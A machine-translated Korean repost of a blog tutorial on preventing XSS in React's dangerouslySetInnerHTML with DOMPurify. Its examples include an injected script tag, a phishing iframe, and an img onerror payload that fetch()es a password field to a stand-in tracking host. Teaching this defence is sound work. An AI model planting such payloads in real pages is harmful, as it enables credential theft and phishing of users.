표지 이미지: Lautaro Andreani
...
TL: DR; 콘텐츠를 위험하게 SetInnerHTML에 덤핑하는 것은 바로 위험합니다. 입력을 명시적으로 제어하지 않는 한 SetInnerHTML에 위험하게 전달하는 모든 입력을 삭제했는지 확인하세요.
다음 구성 요소는 위험한 SetInnerHTML을 통해 XSS 공격 위험을 완화하는 간단한 예입니다.
//https://github.com/cure53/DOMPurify import React from "react"; import DOMPurify from "dompurify"; const sanitize = (dirty) => DOMPurify.sanitize(dirty); const DangerousHtml = ({ innerHTML, tag }) => { const clean = sanitize(innerHTML); if (typeof tag === "undefined") { return <div dangerouslySetInnerHTML={{ __html: clean }} />; } return <tag dangerouslySetInnerHTML={{ __html: clean }} />; }; export default DangerousHtml;
맞춤형 DangerousHtml 구성 요소를 사용하면 입력이 실제로 위험한SetInnerHTML 소품에 도달하기 전에 삭제하므로 XSS 악용 위험을 극적으로 줄일 수 있습니다.
DOMPurify는 고도로 구성 가능하므로 특정 사용 사례를 처리하거나 아래 예 중 일부를 명시적으로 허용하기 위해 예시와 같은 여러 구성요소를 갖고 싶은 경우가 있을 수 있습니다.
다음은 악용이 발생할 수 있는 방법에 대한 몇 가지 간단한 예입니다.
React는 악성 페이로드를 가리키는 스크립트 태그를 제거하지 않으므로 XSS가 가능합니다.
우리도 이런 방식으로 iFrame을 전달해서는 안 됩니다. 오히려 URL 및 기타 "안전한" 속성을 소품으로 전달하고 iFrame 태그에서 직접 렌더링하여 렌더링 기능과 소스에 대한 제어를 유지하거나 전용 iFrame 구성 요소를 보유해야 합니다.
예를 들어, API 요청에서 수신한 다음 악성 마크업을 생각해 보세요. dangerouslySetInnerHTML을 통해 맹목적으로 설정하면 사용자에게 다음과 같은 출력이 제공됩니다.
// Bad markup going in <div dangerouslySetInnerHTML={{ __html: `<p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p>`, }} />
<!-- Bad markup rendered on the DOM --> <div> <p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p> </div>
그러나 대신 DangerousHTML 구성 요소를 사용하면 사용자가 직면할 수 있는 대부분의 위험이 완화되었음을 의미합니다.
// Bad markup going in <DangerousHtml innerHTML={`<p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p>`} />
<!-- Clean markup rendered on the DOM --> <div> <p>Hi Fiona, here is the link to enter your bank details:</p> </div>
Fiona는 어떤 이유로 웹사이트가 손상되었거나 콘텐츠가 누락되었다고 생각할 수 있습니다. 하지만 은행 정보를 피싱하는 것보다는 낫습니다!
일부 DOM 요소에는 남용될 수 있으므로 보호해야 하는 특별한 속성이 있습니다.
이 예에서는
예를 들어 다음과 같습니다.
// Bad markup going in <div dangerouslySetInnerHTML={{ __html: ` <p> Hola <img src='none.png' onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p>`, }} />
<!-- Bad markup rendered on the DOM --> <div> <p> Hola <img src="none.png" onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p> </div>
이 경우 이미지 요청이 결국 실패하고 사용자는 이를 전혀 알 수 없을 때 우리의 중독된 마크업이 DOM에서 데이터를 훔치고 있습니다.
DangerousHtml 구성 요소를 사용하면 이 문제를 다시 완화할 수 있습니다
// Bad markup going in <DangerousHtml innerHTML={` <p> Hola <img src='none.png' onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p>`} />
<!-- Clean markup rendered on the DOM --> <div> <p> Hola <img src="none.png" /> Sharon </p> </div>
대체 이미지를 표시하기 위해 일부 JS를 실제로 실행하고 싶을 수도 있다는 주장을 고려할 때, 우리는 이 작업을 수행하기 위해 원시적이고 정제되지 않은 HTML을 다시 신뢰해서는 안 되며 우리가 사용하는 fallbackImageURL 또는 onError 소품을 사용하는 것이 더 나은 서비스를 제공할 것입니다. 다음과 같이 이미지 태그에 명시적으로 추가할 수 있습니다.
// Usual imports const MyImageComponent = ({ fallbackUrl, url }) => { // Usual component setup const displayFallbackImage = (evt) => { // If there is no fallback, do nothing if (!fallbackUrl) return; // set the url to the fallbackUrl evt.target.src = fallbackUrl; }; return ( <img src={url} onerror={displayFallbackImage} // ... any other props /> ); };
...
원문 기사: https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml
위 내용은 Reacts `위험하게 SetInnerHTML`을 사용할 때 XSS 악용 완화의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!